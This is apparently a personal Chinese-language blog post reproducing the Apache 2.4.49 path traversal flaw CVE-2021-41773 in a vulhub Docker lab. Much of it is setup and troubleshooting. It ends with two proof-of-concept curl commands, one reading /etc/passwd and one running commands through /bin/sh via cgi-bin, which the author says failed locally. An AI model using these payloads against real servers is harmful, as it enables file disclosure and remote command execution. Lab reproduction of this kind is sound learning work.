Apache HTTP Server路径穿越漏洞复现CVE-2021-41773

发布于 2023-08-07  434 次阅读


  • 关于本篇环境的问题,应该是破案了,下一篇CVE-2021-42013里面有提到

前置知识

  • 首先是环境配置,cd到CVE-2021-40438目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下
find ./ -name *CVE-2021*
docker-compose up -d
docker ps
  • 会报点warning,然后启动了两个容器

  • 这是目前唯一一个看漏洞名字就知道什么意思了的漏洞🤣在其2.4.49版本中,引入了一个路径穿越漏洞,这个漏洞有两种利用方式,在严格情况下可以实现任意文件读取(一般web服务器也不是拿root运行的,就只能读非root文件了),如果开启了cgi或cgid,可以实现rce

  • 在 Apache HTTP Server 中,CGI(Common Gateway Interface)和 CGID(CGI Daemon)是用于处理动态内容的机制。它们允许 Web 服务器与外部程序(通常是脚本或可执行文件)进行交互,生成动态的 Web 页面内容。CGI 机制允许将用户的请求传递给一个外部脚本或程序,然后将该程序的输出作为响应返回给客户端。

  • 要使用 CGI 或 CGID,你需要编写一个符合 CGI 协议的程序或脚本,该程序会接收请求参数,处理请求并生成响应。然后,你需要在 Apache HTTP Server 的配置中启用 CGI 或 CGID 模块,并将请求映射到你编写的 CGI 程序或脚本。

  • 在 Apache 的配置文件中,使用类似以下的配置来启用 CGI 模块并将请求映射到某个目录下的 CGI 脚本:

apacheCopy codeLoadModule cgi_module modules/mod_cgi.so

<Directory "/path/to/cgi/scripts">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl
</Directory>
  • 在这个示例中,LoadModule行启用了 CGI 模块,\ 部分指定了 CGI 脚本所在的目录,并通过 Options +ExecCGI和AddHandler 配置来告诉 Apache 如何处理 CGI 脚本。

  • 然后,你可以在指定的目录下编写 CGI 脚本(如 Perl、Python 等脚本),当客户端请求访问这些脚本时,Apache 会将请求传递给相应的 CGI 程序,然后将生成的响应返回给客户端。

  • 这个漏洞的利用条件是版本等于2.4.49,如果需要打rce,则需要穿越的目录允许被访问,比如配置了\Require all granted\(默认情况下是不允许的)

在Apache HTTP Server(通常称为Apache)的配置中,Require all granted 是一个用于控制访问权限的配置指令。它用
于声明对特定资源或路径的访问是允许的,即所有请求都被授予访问权限。

具体来说,Require all granted 是在Apache的访问控制配置块(例如 <Directory> 或 <Location> 块)中使用的,用
于指定所有用户都被授予对该目录或位置的访问权限。这意味着任何用户都可以访问这个目录或位置的内容,而不受进一步的
访问控制限制。

漏洞复现

  • 我是真的服了这个老六了,这个cve的环境是真的有毒😡
  • 首先得访问一下服务,docker可以看到是开在8080端口的,然后就发现访问不了了

  • kali里面也访问一下,验证是不是容器出问题了,并没有

  • 那就是虚拟机和主机通讯出问题了,ping一下试试,ping不通了?(到这里还是我的问题,因为中午休眠了一下,应该是ip占用了)

  • 按照网上的教程重新安一遍虚拟网卡

  • 重启之后果然就可以ping通了

  • 结果还是访问不了192.168.1.103:8080哈哈哈哈哈哈,又折腾了好久,确定网段相同,广播地址相同,换了nat做了端口转发,最后没办法了1,就拿上次打dc用的fscan扫了一下
.\fscan64.exe -h 192.168.1.1-255

  • 这都能扫到说明确实可以通信啊,为什么访问不了呢,再拿nmap探测一下服务
nmap -sV -p- 192.168.1.103

  • 好嘛,8080端口给我整一个filtered,给我拦截了是吧,python开个临时的文件服务器试试,果然可以访问
python3 -m http.server 80

  • ,,,,,,无话可说,只能在kali里面打了,直接上poc,这里的%2e%2e/(就是../的url编码)的个数要看具体穿几层目录,我这里没成功
curl -v --path-as-is http://192.168.1.103:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
  • 然后就是rce
curl -v --data "echo;你要执行的命令" 'http://192.168.1.103:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
  • 都没成功,应该是那个filterer的原因,不想进容器改了😤

届ける言葉を今は育ててる
最后更新于 2024-02-07